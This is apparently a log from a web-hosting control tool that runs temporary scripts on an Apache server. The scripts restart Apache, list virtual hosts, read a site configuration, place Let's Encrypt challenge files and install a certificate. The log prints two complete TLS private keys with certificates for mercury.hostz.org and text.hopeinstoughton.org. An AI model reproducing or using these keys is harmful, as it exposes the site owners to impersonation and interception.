	echo 'link(/etc/apache2/sites-enabled/pjy_mercury_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf= 1'
fi


2026-04-20 06:00:43: 

chmod 755 /tmp/pkp446738; /tmp/pkp446738; rm /tmp/pkp446738

2026-04-20 06:00:43: 




2026-04-20 06:00:43: 

PUT: /tmp/pkp840268

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-20 06:00:44: 

chmod 755 /tmp/pkp840268; /tmp/pkp840268; rm /tmp/pkp840268

2026-04-20 06:00:44: 


.


2026-04-20 06:00:44: Establishing a connection
2026-04-20 06:00:46: 

PUT: /tmp/pkp835415

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-20 06:00:47: 

chmod 755 /tmp/pkp835415; /tmp/pkp835415; rm /tmp/pkp835415

2026-04-20 06:00:47: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
                 alias www.n-e-v.info
         port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443                  is a NameVirtualHost
         default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
         port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
                 alias www.n-e-v.info
         port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-04-20 06:00:47: 

PUT: /tmp/pkp588760

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_mercury_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 06:00:47: 

chmod 755 /tmp/pkp588760; /tmp/pkp588760; rm /tmp/pkp588760

2026-04-20 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf	1579

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-20 06:00:48: 

PUT: /tmp/pkp665226

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 06:00:48: 

chmod 755 /tmp/pkp665226; /tmp/pkp665226; rm /tmp/pkp665226

2026-04-20 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5352
d5:a2:05:3f:a4:9f:fa:e6:12:17:aa:90:08:9c:69:8a

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBlZNWKnAhqObMZ9uBHVpdRFSMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIwMDUwMjA1WhcNMjYwNzE5MDUwMjA0WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANqIpiwIsknBJstuVjryP0Or/6tYWC60q3w7jxp4bM6JlWUMgCF5vdL6NstN
q9fe1Uavp8c1wAkEW/7ZgWqRz978rdZP77i67InnUCRWKRVb3zH8aRtAiW0fSpjY
mMCkt1VagOlIfsPZGiV2/iKdVu3jjd6LH9hTBLKAo5aryoUSSM/oiPPrOyYqaLNf
uDgPaIBDjtC9UvrInqRQUvPMOZqRI3AaGacxFtzXcdLSovBYVD9M0dpqGrBNLMVd
pbVNjTw1msjWPFTbB4Qc+wrqMdbE6MZ1y/msNCYNbtHdnGrHJezpXHfij4oePGps
MHlxnzq8JGEtCqv8zOC81BL9MBMCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSY
njWp/QhkTKDXgiAtizchzs36DDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW1lcmN1cnkuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAr2eIO1ewTt2P
ptl+9i6o64EKx3Fg8CReVdYML+eFhzoAAAGdqXn1/wAABAMARzBFAiEAppCvidW2
A+LmFdkwN9WbgRZl4e+AA+cKfPk64u7U1UwCIEkGFwHJJIunqo3Qm8xl9VMmyfhb
Qz14amOKhS8wmmcDAH8AJuNkblhpISO8ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMA
AAGdqXn1SgAIAAAFAAir6F0EAwBIMEYCIQDba6YdjaLXFkRvR4si0XmGpEi4T2bu
ObbNos7DD38CvgIhAK/mP6I4KRMPZbE4XnwvA8Gjn7qHZQcMqlaoInSEj1PqMA0G
CSqGSIb3DQEBCwUAA4IBAQBRU0K+LU1ypF7WmTL2127Fj8ExqsvnOjLRVbOrchnY
AxieOHKLT2ZUUwgLW/HgXwknoeV3OPP/l2ddQKQqQwa4v5enBZRQdLLLv2a2ux+G
qXH/N/oUJQWooKoQOccPd5F0I8KwTIhyj+sOFBSyqwb4tZL2myGCl8fa/fidph1c
7UtOI5sGh9pg+qdZlp4gF2OYfctfFyoKyefGWzF6lI31XexgrDkP/727mcOrSjYb
96BTgbmTrWtUAn1wfIzKgotn1PrsE7rgBuVQmIcSYKur0Kp83Bsm4zJToOh+ciXT
02Zx27EPC161LYTHNm7spzw4+z3zWlR/v6mUYcLMrcOM
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDaiKYsCLJJwSbL
blY68j9Dq/+rWFgutKt8O48aeGzOiZVlDIAheb3S+jbLTavX3tVGr6fHNcAJBFv+
2YFqkc/e/K3WT++4uuyJ51AkVikVW98x/GkbQIltH0qY2JjApLdVWoDpSH7D2Rol
dv4inVbt443eix/YUwSygKOWq8qFEkjP6Ijz6zsmKmizX7g4D2iAQ47QvVL6yJ6k
UFLzzDmakSNwGhmnMRbc13HS0qLwWFQ/TNHaahqwTSzFXaW1TY08NZrI1jxU2weE
HPsK6jHWxOjGdcv5rDQmDW7R3ZxqxyXs6Vx34o+KHjxqbDB5cZ86vCRhLQqr/Mzg
vNQS/TATAgMBAAECggEAaZbD/5u2FVfbuEhYJsQcmER3VKFrfimyf+TBKK+OFx84
DWqEUGhjtRhLuGCPis6yqyQ9Q04vusud7Z3HX6gTUbEyB055S/8ZQip/OQdec2EA
D0VfvZiprg2D/CUPbWlI4ddIWS87fMKd1QNRGIWAVpHv3trG6L14FA1+vVLFGBUQ
gEP6zHbjX2cmJu8K4dpWFn2EsnMoTgTS5GiqXYiHPzZe8ipRGYOG6E7Y6kxjPn/a
ozc0g7SLOoZLDthCIdpoSeiRAv12dVsJS52/is1Fvl8peJQaTUJGJcv/immaQTMY
63dvRi8wulW8+wHRly5En1InmXhnxXof/pp01Aam+QKBgQDuxMJmCSDRUidjJ7aV
1A/cudAEDfPDVuZhdNr4NtioLDYG9qtdxR0nECSrqQuD12rxud7jvGlXJwg1AaXA
hRMO+EzG+BrPHsAE5WpMaTvn+9r4Tg+R7vO6ein4VEquirDofd5dkX0pOjlQuajq
EBTgagm3FAUioipEBDkH1sx9yQKBgQDqTg1vBF9iR2fmU5jahzyhBMYhwWj9VVmL
/s4tPayAxFd/BSm/JYah3LtduOhVEQDwrsRLiuFw4CdH5aV+v6ncN4JO8zZ4HWIU
dhCcWRl/LewabESWirne4HT0/2TRXvdibY5792PYFtaMQ1QWh/SImpTB6Kc9T4gr
Y/eVrUz8+wKBgAIFoovQqfl705+QV4h/Sj8ZR7yxDY5q7vqGTdBqTn1mGnMGpb7e
i3eoOFdH0DQmn946L7wH/XBigTxJrkiqF9Y5nhTVRwzX+tJPyw2omnxFcr5FkvYu
atv6at6SgCtoO0VMw5RRRhkSSCf52odY6YRZAYoOXljDvM3kp0L8u7CZAoGAHfsy
2NvUYL0GXICh9ISNi4US3UrkZlY/iRxnwX48zpVRJN3CQ8VHfvrBtvJsOEZeum2C
jLAOvOTR4e9Ox/M6hwVLVVLly2TnIfshkQANtSppJdBozmKd+hj6nkb33ZqrSRr/
unkje4kglv4eimuHLNuq4U0l6UB+Ch9WlP6B9XUCgYATRAnEXYGp0PbPQpgGUrBU
BbnARuC+2IzMvEPGfcLK4uVgvJvrAJ/hCaNp9C0FZHjRq49kT6+7YGnNGgIM70wu
gZZmDqMfTGdApGAbvFs1gYgSA8kG4CbqTq91TBYD66Hl2af2CeuuATn9IGk1qQHp
Som7qJ+gw8oYDvshYmtwjA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-20 06:00:49: Establishing a connection
2026-04-20 06:00:49: Establishing a connection
2026-04-20 06:00:49: 

PUT: /tmp/pkp780610

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_text/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-20 06:00:49: 

chmod 755 /tmp/pkp780610; /tmp/pkp780610; rm /tmp/pkp780610

2026-04-20 06:00:50: 


1


2026-04-20 06:00:50: Establishing a connection
2026-04-20 06:00:50: 

PUT: /tmp/pkp107472

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cat > u4bgH2oN7Awf57o38201EC5mWIEje_3_5kPVmDFOjQw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
u4bgH2oN7Awf57o38201EC5mWIEje_3_5kPVmDFOjQw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 u4bgH2oN7Awf57o38201EC5mWIEje_3_5kPVmDFOjQw
cat > E0QcVeDOPv9pZPCTAB9DUsCfyIa81XFbiGZN066fGCY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
E0QcVeDOPv9pZPCTAB9DUsCfyIa81XFbiGZN066fGCY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 E0QcVeDOPv9pZPCTAB9DUsCfyIa81XFbiGZN066fGCY


2026-04-20 06:00:50: 

chmod 755 /tmp/pkp107472; /tmp/pkp107472; rm /tmp/pkp107472

2026-04-20 06:00:50: 




2026-04-20 06:00:59: Establishing a connection
2026-04-20 06:00:59: 

PUT: /tmp/pkp541300

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
rm u4bgH2oN7Awf57o38201EC5mWIEje_3_5kPVmDFOjQw
rm E0QcVeDOPv9pZPCTAB9DUsCfyIa81XFbiGZN066fGCY


2026-04-20 06:00:59: 

chmod 755 /tmp/pkp541300; /tmp/pkp541300; rm /tmp/pkp541300

2026-04-20 06:00:59: 




2026-04-20 06:00:59: Establishing a connection
2026-04-20 06:00:59: 

PUT: /tmp/pkp130903

#!/bin/bash
temp_file=$(mktemp)
TARGET=94911c6cf6fdc3591c65d93ede1a6ecb.crt

cat > $temp_file <<'endmsg'
05:a6:15:c1:e5:61:6d:b5:44:69:f4:a2:21:b3:79:09

-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBm1fYjjUWKF+8oSeZvc4T5e4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIwMDUwMjI4WhcNMjYwNzE5MDUwMjI3WjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDpxTXNcrZP9U+dLShTDTUW/kwm07xN4TL24kp+j1yZyzBbzPA7
CAsGMaGK5LaLSccl4yERKXalrNsnVOS9kfZ3ELk6yZNR1mtaGdHGMYZqAP0CM13x
hn4ODX7TDDD73nQspOkCLs8uQG+Sya8PnOjBjrmnn4j/P4FYinyamDHMRCPrWZiV
qT4K9ziVyJBxPQHRKwLKbDX3BFy0u6XB/0bwzh9ZrYbqiTR+3P2AXL9aOdmz8qQy
R07bEI4k5rdfwNkMS4u1U0DX7v4yPQSmfz8OAGOdKeWQiNhlUmG0K5dPelSSaNGj
9Nk0x6ben8Y8aPKFqov9qHN5wjm/Wjnshi+rAgMBAAGjggI+MIICOjAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUu04VHeYsQ/3pOwB+DR98u+mhGzMwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzA8BgNVHREENTAzghdzbXMuaG9wZWluc3RvdWdodG9u
Lm9yZ4IYdGV4dC5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTcu
Y3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAlE5Dh/rswe+B8xkkJqgYZQHH
0184AgE/cmd9VTcuGdgAAAGdqXpPxwAABAMARzBFAiAjlWfjVLEDBK4HGtaSP70c
1MDIIktX5jtO3NFV0JHxvQIhAMe9gXsGL742fdoykqiwzb728Hk1y2va4xuJEs6i
BBhuAH0AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGdqXpSDgAI
AAAFAAfwy+AEAwBGMEQCIFuzs6aXTkh4H7VWoQ8mAmgSp6pFvWZ8C2zKG7TcoxnE
AiBjkxXEOds56BWjPzEVP60IcHL8/C+7R2FTjs6Xf7mujDANBgkqhkiG9w0BAQsF
AAOCAQEAg3MjDKWS7YSxMd0vac037MGVrUQK6htuYOAETf504NvIf7D8PZRutdMV
ldjOd7H1se/g/rwAiFZK1AXhgacxoBisTYYCDRXXjVWOjDcT2VZF64KXF5y4eE0S
l+enSRrMTP633GqivXVumjE1eq+tQ1fTy0K3Ca+3UaEvHmJEXkeHaZQ/FXnvzStJ
Cr+ILFLnyVZzPRTuzXlk/dgBcqGyHV9vB6+4UJzxmE+Jtw9fmT/6xaM3/dKXp9y5
jihR5IeeAKdU8ZORxLFSkCkfSELzQcViwq1VHEXJW9qDr0JhRZix1VpQkys3kasB
z8aLhQFJBj7x9eUm8QAwUcSsVYXhbg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDpxTXNcrZP9U+d
LShTDTUW/kwm07xN4TL24kp+j1yZyzBbzPA7CAsGMaGK5LaLSccl4yERKXalrNsn
VOS9kfZ3ELk6yZNR1mtaGdHGMYZqAP0CM13xhn4ODX7TDDD73nQspOkCLs8uQG+S
ya8PnOjBjrmnn4j/P4FYinyamDHMRCPrWZiVqT4K9ziVyJBxPQHRKwLKbDX3BFy0
u6XB/0bwzh9ZrYbqiTR+3P2AXL9aOdmz8qQyR07bEI4k5rdfwNkMS4u1U0DX7v4y
PQSmfz8OAGOdKeWQiNhlUmG0K5dPelSSaNGj9Nk0x6ben8Y8aPKFqov9qHN5wjm/
Wjnshi+rAgMBAAECggEAbNEObuB/ae/kS+NJ2oMS2+2qsAYuqMfzy8VhbNE6ByL0
kz7t8mSXkR4INtmo+WRx7bpw2YbGAm/YodHcGjw4EIt51ZogV99qIEpVgh7qlSx5
mY0kpTl4Mv1oNECACrYtuNxY1FnKuhpndVopgaiGFhdkZ1kVUc+TW443W1UOFSkc
3gGcldNzzmOyy0XjBxOrl5P9xLxxPK/E5HMkfhF7VE+rQ04bWjBAR8SJ6mJM6lo9
F7jEpbq60PqGqUdbJsalGjSijvy2WeW7a0xNCjjdiwhQ1dt4dRWvLfNlC7Qsjff6
YYrvHknKaTtJqLHASCH5amIit5wbBEKiexgjPP9+jQKBgQD/7bqhGhu3X2E00VkI
NZRVhcV3m/TJtdiNXAXT8EyaqoGe8nPnz2b97bUVBWUqhMpxJLANDxnlwtYtrc7+
t7T2g5S7bSGmS6ONHQS/0/SEHZaPsvLpdbwkN7aczNNynFw1cz2xuiKPDpgznTZP
46LbW/xdOJKRxfaCHziiNLtebwKBgQDp1eY0+ANqRA3N1ZuQmY49+cqTh4ALpyi3
irDNSBvM3YZchU5aDYNcAZfOGyQYunAdIa3KaRKPoJs4MxHcPoxaj6XX7P/XsWGD
aPZkOl5S1UalmqakOP3Z/WTDC0rU/627wHY4YJsnoUF0lwY9VKWrPj5kdjjh1nTL
ZPK1usPghQKBgFFi3yumKtQ4j6gFPwPeTgqYXMB5pvGSU4g4kF3il+nDeS77uSIp
kX4E3sYNjitkSSCL4zRz7e9j80pZcG8OKo0OMPkdbkr82MjiRoVeOO7eneeap6bY
WvlFglwAwuk6khQpTqA7KgxGPt6DCyeCo2KQsQNQH0QeKRMeLJtgm4kfAoGBAL5h
hpJtsuocClkhpwyt2N+gtkwzMA9Mw5vb8WLRaMD9Q12ks0wiYGbSbTRDaLoxYQJ2
3zZDIfeKPZYeDlaRHljFR7NrpEmKg+gn1yN3WkB6oJBIP5DJTfTjl9wtH3oXyO1q
H1Z7YRd89Pvl0hCxEElB3i6RCnLk1iabQ/it3Li5AoGAIEqn4qa/x7+DcYAzxQhm
NwWWhStFUi6Pih7eWA3pmqtyzNntcdewWgrHxtqehtlgxzYFMHJ4waQdj7c4Tgw3
ku9y2B2NXYrlV49PZNUDk91gWY4f9A42eCEEhF5a7x1Z3tyQNYEL5QvVKu6/j1Ru
mWPEBKfRtLMm5AbUAipNYE4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-20 06:01:00: 

chmod 755 /tmp/pkp130903; /tmp/pkp130903; rm /tmp/pkp130903

2026-04-20 06:01:00: 


